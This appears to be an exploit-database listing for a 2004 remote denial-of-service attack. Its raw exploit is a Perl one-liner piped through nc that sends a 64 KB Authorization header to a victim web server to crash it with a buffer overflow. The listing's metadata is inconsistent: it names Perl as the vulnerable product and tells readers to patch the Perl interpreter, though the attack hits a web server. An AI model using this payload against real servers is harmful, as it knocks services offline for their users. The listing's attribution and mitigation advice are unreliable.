header-logo
Suggest Exploit
vendor:
Perl
by:
Unknown
7.5
CVSS
HIGH
Remote Denial of Service (DoS)
119
CWE
Product Name: Perl
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: All platforms where Perl is installed
2004

Remote Denial of Service (DoS) in Perl

The exploit is a Perl script that sends a long string in the Authorization header to the target web server, causing it to crash due to a buffer overflow. This leads to a denial of service (DoS) condition, as the server becomes unresponsive and stops serving requests.

Mitigation:

Apply the latest patches for the Perl interpreter to fix the buffer overflow vulnerability.
Source

Exploit-DB raw data:

$ $victima="ip.victim"
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$victima"'\r\nAuthorization: 
Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn $victima 80 

# milw0rm.com [2004-07-22]
cqrsecured